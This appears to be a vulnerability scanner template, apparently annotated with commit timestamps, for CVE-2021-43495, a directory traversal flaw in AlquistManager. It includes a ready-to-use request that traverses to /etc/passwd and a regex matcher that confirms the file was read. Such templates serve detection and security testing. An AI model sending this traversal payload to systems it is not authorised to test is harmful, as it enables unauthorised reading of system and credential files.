2021-11-23 01:30:30 +00:00
id : CVE-2021-43495
info :
name : AlquistManager lfi
author : pikpikcu
severity : high
description : AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py
reference :
- https://github.com/AlquistManager/alquist/issues/43
2021-11-23 03:46:15 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-43495
tags : cve,cve2021,lfi,alquist
2021-11-23 03:59:46 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.50
cve-id : CVE-2021-43495
cwe-id : CWE-22
2021-11-23 01:30:30 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/asd/../../../../../../../../etc/passwd"
2021-11-23 03:46:15 +00:00
2021-11-23 01:30:30 +00:00
matchers :
- type : regex
regex :
- "root:.*:0:0:"
part : body
